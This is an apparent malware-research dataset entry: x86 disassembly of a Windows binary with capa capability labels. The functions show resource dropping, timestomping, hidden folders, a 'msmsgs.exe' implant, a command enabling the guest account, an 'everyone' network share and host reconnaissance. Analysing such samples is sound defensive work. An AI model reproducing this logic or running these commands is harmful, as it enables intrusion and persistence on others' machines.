joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409740
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
mov eax, dword [0x41f608]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0
push esi
mov dword [esp + 0x11c], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0xc]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x4097ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [esp + 0x114]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x114]
xor al, al
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x409810
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x28
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
dec word [esp + 8]
cmp word [esp + 0xa], 5
jae 0x409833
add word [esp + 0xa], 2
jmp 0x409838
dec word [esp + 0xa]
cmp word [esp + 0xe], 0xa
jae 0x409848
add word [esp + 0xe], 3
jmp 0x40984f
add word [esp + 0xe], 0xfffe
lea ecx, [esp]
push ecx
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x40988d
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp]
push edx
mov eax, edx
push eax
mov ecx, edx
mov edx, dword [esp + 0x34]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
add esp, 0x28
ret 4
mov eax, dword [esp + 0x2c]
add esp, 0x28
ret 4
Function at 0x409a10
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x41f608]
push ebp
push esi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x10]
mov ebp, ecx
movzx ecx, word [esp + 0x14]
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x409a45
pop esi
pop ebp
mov ecx, dword [esp]
call fcn.0040e486
pop ecx
ret 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jne 0x409a66
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp]
call fcn.0040e486
pop ecx
ret 0xc
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x409a55
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x409add
push edi
call fcn.0040e390
push edi
mov esi, eax
push ebx
push esi
call fcn.004037a0
mov ebx, eax
add esp, 0x10
test ebx, ebx
jbe 0x409ad4
mov edx, dword [esp + 0x20]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
jne 0x409aef
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040e3a2
add esp, 4
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp]
call fcn.0040e486
pop ecx
ret 0xc
mov ecx, ebp
call fcn.00409810
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040e3a2
mov ecx, dword [esp + 0x14]
add esp, 4
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
call fcn.0040e486
pop ecx
ret 0xc

Function at 0x409b20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
mov eax, dword [0x41f608]
push esi
push edi
mov dword [esp + 0x114], eax
mov esi, ecx
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
lea ecx, [ebp + 0x20]
push ecx
mov ecx, esi
call fcn.00409950
test al, al
je 0x409b88
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 8]
push edx
push eax
lea ecx, [ebp + 8]
push ecx
mov ecx, esi
call fcn.00409a10
test eax, eax
jne 0x409b9e
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
mov ecx, dword [esp + 0x114]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x120
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x409b88
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x124]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x114]
mov al, 1
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x120
Function at 0x409c00
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4176a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x214
mov eax, dword [0x41f608]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x220], ebx
xor eax, eax
mov byte [ebp - 0x118], 0
mov ecx, 0x40
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
push eax
sub esp, 0x11c
mov edi, esp
mov ecx, 0x47
mov esi, 0x41c5f8
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 4], 0
call fcn.00409b20
test al, al
je 0x409caf
lea ecx, [ebp - 0x118]
push ecx
mov ecx, ebx
call fcn.004098a0
test al, al
jne 0x409caf
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x409caf
xor eax, eax
mov byte [ebp - 0x21c], 0
mov ecx, 0x40
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x21c]
push eax
sub esp, 0x11c
mov edi, esp
mov ecx, 0x47
mov esi, 0x41c714
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
call fcn.00409b20
test al, al
je 0x409d39
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x409d2c
push str.MYWORK
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x409d2c
lea edx, [ebp - 0x220]
push edx
push 0
push eax
push 0x4095e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x409d39
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a020
Capabilities:
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x41f608]
mov dword [esp + 0x110], eax
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
mov ecx, edx
call fcn.00409f20
push 0
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 3
push 0
push 0
lea eax, [esp + 0x14]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x114]
mov al, 1
call fcn.0040e486
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x40a0b0
Capabilities:
Create directory
Create process on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x824
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x824], eax
push esi
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 0x170], 0
mov ecx, 0x40
lea edi, [esp + 0x171]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x170]
push eax
mov ecx, edx
call fcn.00404280
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [esp + 0x68], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x69]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0xc], 0
mov dl, byte [esp + 0x170]
mov cl, byte [esp + 0xc]
add dl, cl
mov byte [esp + 0x170], dl
push 0
lea edx, [esp + 0x174]
push edx
call ebx
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x170]
push eax
lea ecx, [esp + 0x6c]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.HTML_Help_Workshop_
lea edx, [esp + 0x6c]
push edx
call edi
push 0
lea eax, [esp + 0x6c]
push eax
call ebx
push str.msmsgs.exe
lea ecx, [esp + 0x6c]
push ecx
call edi
push str.EVIL
lea edx, [esp + 0x485]
push edx
mov byte [esp + 0x280], 0x7a
call esi
lea eax, [esp + 0x68]
push eax
lea ecx, [esp + 0x381]
push ecx
call esi
lea edx, [esp + 0x278]
push edx
lea ecx, [esp + 0x554]
call fcn.00407c30
lea ecx, [esp + 0x550]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x395]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x40a217
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 4
mov dword [esp + 0xc], eax
jl 0x40a120
mov ecx, dword [esp + 0x82c]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
lea eax, [esp + 0x24]
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x3c], ecx
lea ecx, [esp + 0x39d]
push ecx
push 0
mov dword [esp + 0x48], 0x44
mov word [esp + 0x78], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a540
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x10], 0x10
jge 0x40a54c
xor al, al
ret 0x10
mov edx, dword [esp + 4]
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, edx
mov ebp, ebx
lea esi, [edx + 3]
sub edi, eax
sub ebp, eax
lea ecx, [ebx + 1]
sub edx, ebx
mov dword [esp + 0x1c], 4
mov bl, byte [edi + eax]
xor bl, byte [eax]
add eax, 4
mov byte [eax + ebp - 4], bl
mov bl, byte [edx + ecx]
xor bl, byte [eax - 3]
add ecx, 4
mov byte [ecx - 4], bl
mov bl, byte [eax - 2]
xor bl, byte [esi - 1]
add esi, 4
mov byte [ecx - 3], bl
mov bl, byte [eax - 1]
xor bl, byte [esi - 4]
mov byte [ecx - 2], bl
dec dword [esp + 0x1c]
jne 0x40a574
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 0x10
Function at 0x40a890
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4176e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
cmp eax, edx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ebx
ja 0x40a93f
test eax, eax
je 0x40a93f
test edx, edx
je 0x40a93f
push ecx
mov ecx, ebx
mov dword [ebp - 4], 0
call fcn.0040a610
jmp 0x40a8ec
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
push eax
call fcn.0040ed2d
add esp, 4
push 0x79
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push esi
mov ecx, ebx
call fcn.0040a5b0
push 1
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ab00
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
sub esp, 0xf8
mov eax, dword [0x41f608]
push edi
mov dword [esp + 0xf8], eax
push 0x20
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
xor eax, eax
lea edx, [esp + 0x58]
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push edx
mov word [esp + 0x48], ax
lea eax, [esp + 0x7c]
push str._scmd.exe__c_net_user_guest__active
push eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
call fcn.0040e494
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0xf8]
test eax, eax
setne al
pop edi
call fcn.0040e486
add esp, 0xf8
ret 4

Function at 0x40abb0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40ac08
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40ac0d
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
ret 0x18
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
ret 0x18
Function at 0x40ac20
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x70
mov eax, dword [0x41f608]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x60
push 0
mov dword [esp + 0x7c], eax
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], 0x60
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x40ac72
pop esi
xor al, al
pop ebp
mov ecx, dword [esp + 0x6c]
call fcn.0040e486
add esp, 0x70
ret 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
push edi
mov edi, dword [esp + 0x8c]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x1c]
push eax
push esi
push edi
push 0
call ebx
test eax, eax
jne 0x40acf3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40add9
mov ecx, dword [esp + 0x10]
push ecx
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x40ade5
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0x1c]
push edx
push esi
push edi
push 0
mov dword [esp + 0x30], 0x10
call ebx
test eax, eax
je 0x40add9
push esi
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edi, eax
add edi, 0x10
push edi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x40add9
push 2
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x40adcc
push esi
push 0x10000000
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x40adcc
push 1
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x40adcc
xor edi, edi
push edi
push ebx
push 1
lea ecx, [esp + 0x54]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x40adce
mov edx, dword [esp + 0x88]
mov eax, dword [esp + 0x84]
push edi
mov dword [esp + 0x24], edx
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x98]
push 0x1f6
lea ecx, [esp + 0x54]
push eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], 0x7f
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x44], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], ecx
call sub.NETAPI32.dll_NetShareAdd
test eax, eax
jne 0x40adce
mov dword [esp + 0x18], 1
jmp 0x40adce
xor edi, edi
push ebx
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x7c]
pop edi
pop ebx
test eax, eax
pop esi
setne al
pop ebp
call fcn.0040e486
add esp, 0x70
ret 0x10
Function at 0x40b350
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x41f608]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov dword [esp + 0x474], eax
mov dword [esp + 0xc], ecx
xor eax, eax
xor bl, bl
mov byte [esp + 0x18], bl
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [esp + eax + 0x17]
cmp cl, 0x5c
lea eax, [esp + eax + 0x18]
je 0x40b3b1
mov byte [eax], 0x5c
xor eax, eax
mov byte [esp + 0x228], bl
mov ecx, 0x40
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x22c]
push ecx
call esi
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x22c]
push eax
mov dword [esp + 0x18], 0x2a2e2a
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [esp + 0x120], bl
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x121]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x330]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x22c]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x14], edi
je 0x40b4ec
mov ebx, dword [ebp + 0x10]
jmp 0x40b440
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x35c]
push edx
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x35c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test byte [esp + 0x330], 0x10
je 0x40b4b7
cmp byte [esp + 0x35c], 0x2e
je 0x40b4b7
mov edx, dword [ebp + 0xc]
mov edi, dword [esp + 0xc]
push ebx
push edx
lea eax, [esp + 0x128]
push eax
mov ecx, edi
call fcn.0040ae10
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
lea edx, [esp + 0x128]
push edx
mov ecx, edi
call fcn.0040b350
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x330]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b440
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [esp + 0x474]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0x474]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40b650
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x318
mov eax, dword [0x41f608]
push esi
push edi
mov dword [esp + 0x31c], eax
mov esi, ecx
xor eax, eax
mov word [esp + 0x110], 0
mov ecx, 0x81
lea edi, [esp + 0x112]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [esp + 0x114]
push eax
push 0x418850
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x40b6b7
push 0x418808
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push str.everyone
push 0x418bf4
lea edx, [esp + 0x11c]
push edx
mov ecx, esi
call fcn.0040ac20
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [esp + 0xc]
push eax
push str.ALLUSERSPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40b710
push str.C:Documents_and_SettingsAll_Users
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10000000
push str.everyone
lea edx, [esp + 0x10]
push edx
mov ecx, esi
call fcn.0040b350
mov ecx, dword [esp + 0x31c]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40b7a0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push eax
push 1
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
mov dword [esp + 0x14], 0x50
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 4]
lea ecx, [esp]
push ecx
lea edx, [esp + 0xc]
push edx
push 0
push 0
push str.MHz
push eax
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
add esp, 0xc
ret

Function at 0x40b800
Capabilities:
Get local ipv4 addresses

Disassembly:
mov eax, 0x2808
call fcn.0040ee00
mov eax, dword [0x41f608]
push esi
mov dword [esp + 0x2808], eax
push edi
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x10], 0x2800
call sub.iphlpapi.dll_GetAdaptersInfo
movzx eax, byte [esp + 0x1a2]
movzx ecx, byte [esp + 0x1a3]
movzx edi, byte [esp + 0x1a5]
movzx edx, byte [esp + 0x1a4]
mov esi, eax
shl esi, 8
push edi
add esi, ecx
push edx
push ecx
mov ecx, dword [esp + 0x2820]
shl esi, 8
add esi, edx
movzx edx, byte [esp + 0x1ad]
push eax
movzx eax, byte [esp + 0x1b0]
push edx
push eax
push str._02X_02X_02X_02X_02X_02X
shl esi, 8
push ecx
add esi, edi
call fcn.0040e494
mov ecx, dword [esp + 0x282c]
add esp, 0x20
pop edi
mov eax, esi
pop esi
call fcn.0040e486
add esp, 0x2808
ret

Function at 0x40b8b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 8]
add esp, 0x20
ret
Function at 0x40bba0
Capabilities:
Get proxy
Query or enumerate registry value

Disassembly:
sub esp, 0x110
mov eax, dword [0x41f608]
mov dword [esp + 0x10c], eax
lea eax, [esp]
push eax
push 1
push 0
push 0x418cdc
push 0x80000001
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40bbec
or eax, 0xffffffff
mov ecx, dword [esp + 0x10c]
call fcn.0040e486
add esp, 0x110
ret
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push 0
push 0
push str.ProxyEnable
push eax
call esi
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push 0
mov edi, eax
mov eax, dword [esp + 0x18]
push str.ProxyServer
push eax
mov dword [esp + 0x24], pe_nt_image_headers32
call esi
mov ecx, dword [esp + 8]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x40bcb1
test esi, esi
jne 0x40bcb1
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40bcb1
lea edx, [esp + 0x14]
push 0x418d40
push edx
call fcn.0040f130
mov esi, eax
add esp, 8
test esi, esi
je 0x40bc6b
add esi, 5
jmp 0x40bc6f
lea esi, [esp + 0x14]
push 0x3a
push esi
call fcn.0040f070
mov edi, dword [esp + 0x124]
add esp, 8
mov byte [eax], 0
mov ecx, esi
sub edi, esi
mov dl, byte [ecx]
mov byte [edi + ecx], dl
inc ecx
test dl, dl
jne 0x40bc88
inc eax
push eax
call fcn.0040e9ea
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x10c]
call fcn.0040e486
add esp, 0x110
ret
mov ecx, dword [esp + 0x114]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0040e486
add esp, 0x110
ret